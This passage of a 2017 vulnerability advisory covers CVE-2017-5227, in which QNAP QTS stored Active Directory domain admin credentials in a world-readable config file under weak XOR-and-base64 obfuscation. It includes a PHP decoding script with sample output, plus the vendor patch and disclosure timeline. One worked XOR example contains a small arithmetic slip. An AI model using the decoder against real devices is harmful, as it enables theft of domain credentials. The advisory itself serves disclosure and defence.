III. ANALYSIS

QNAP QTS stores "uLinux.conf" configuration file in a directory 
accessible by "nobody" and with permission that make them readable by 
"nobody".

If the NAS was joined to an Active Directory, such file contain a Domain
Administrator user and password in an easily decrypt format.

In older versions of QTS the Domain Admin's password was stored in
plaintext.

A) Config file readable by "nobody"

  [~] # ls -l /etc/config/uLinux.conf 
  -rw-r--r--    1 admin    administ      7312 Dec 10 06:39 /etc/config/uLinux.conf

  Our evidence is for QTS 4.2.0 and QTS 4.2.2 running on a TS-451U, 
  TS-469L, and TS-221. Access to the needed file are guaranteed to 
  all the local users, such as httpdusr used to running web sites and 
  web application hosted on the NAS.

  This expose all the information contained in the configuration file at
  risk and this is a violation of the principle of least privilege.

  https://en.wikipedia.org/wiki/Principle_of_least_privilege

B) Weak encrypted password in the configuration file

  The Microsoft Active Directory Admin username and password are stored 
  in the file obfuscated by a simple XOR cypher and base64 encoded.

  In this scenario, a Local File Read vulnerability could lead to full
  domain compromise given the fact that an attacker can re-use such
  credentials to authenticate against a Domain Controller with maximum
  privileges.

  The password field in the uLinux.conf has the following format:

  User = <username>
  Password = <base64>

  eg: 
  User = Administrator
  Password = AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==

  The "<base64>" decoded is:

  sid@zen:~$echo -n "AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==" | base64 -d | hexdump -C
  00000000  03 03 00 00 01 01 06 06  07 07 04 04 23 23 20 20  |............##  |
  00000010  21 21 26 26 27 27 24 24  43                       |!!&&''$$C|
  00000019

  Each byte xored with \x62 is the hex ascii code of the plaintext char.
  Eg: 
    \x03 ^ \x62 = \x61 (a)
    \x00 ^ \x62 = \x61 (b)
    ...
    \x24 ^ \x62 = \x46 (F)
    \x43 ^ \x62 = \x21 (!)
    
  The plaintext password is: aabbccddeeffAABBCCDDEEFF!

IV. EXPLOIT

The following code can be used to decode the password:

#!/usr/bin/php
<?php
$plaintext = str_split(base64_decode($argv[1]));
foreach($plaintext as $chr) {
	echo chr(ord($chr)^0x62);
}
echo "\n";

Eg: sid@zen:~$ ./decode.php AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==
aabbccddeeffAABBCCDDEEFF!

V. VENDOR RESPONSE
Vendor released QTS 4.2.4 Build 20170313 that contains the proper
security patch. At the time of this writing an official patch is
currently available.

VI. CVE INFORMATION

Mitre assigned the CVE-2017-5227 for this vulnerability, internally to
Qnap it's referred as Case NAS-201703-21.

VII. DISCLOSURE TIMELINE

20161212 Bug discovered
20170106 Request for CVE to Mitre
20170106 Disclosure to security@qnap.com
20170107 Escalation to Myron Su, Security Researcher from QNAP (fast!)
20170107 Details disclosure to Myron Su
20170109 Got CVE-CVE-2017-5227 from cve-assign
20170110 Myron Su confirm the vulnerability
20170203 We asks for updates, no release date from vendor
20170215 We extend the disclosure date as 28 Feb will not be met
20170321 QNAP releases the QTS 4.2.4 Build 20170313
20170322 Advisory disclosed to the public

VIII. REFERENCES

[1] Top 10 2013-A6-Sensitive Data Exposure
    https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure

[2] Access Control Cheat Sheet
    https://www.owasp.org/index.php/Access_Control_Cheat_Sheet

[3] https://forum.qnap.com/viewtopic.php?t=68317
    20121213 User reporting that the password was stored in plaintext in
    a world-readable file
    
[4] https://www.qnap.com/en/support/con_show.php?cid=113
    Qnap Security Bullettin NAS-201703-21 

IX. CREDIT

Pasquale "sid" Fiorillo and Guido "go" Oricchio are credited with the 
discovery of this vulnerability.

Pasquale "sid" Fiorillo
web site: http://www.pasqualefiorillo.it/
mail: sid AT ush DOT it

Guido "go" Oricchio
web site: http://www.pcego.com/
mail: g.oricchio AT pcego DOT com

X. LEGAL NOTICES

Copyright (c) 2017 Pasquale "sid" Fiorillo

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.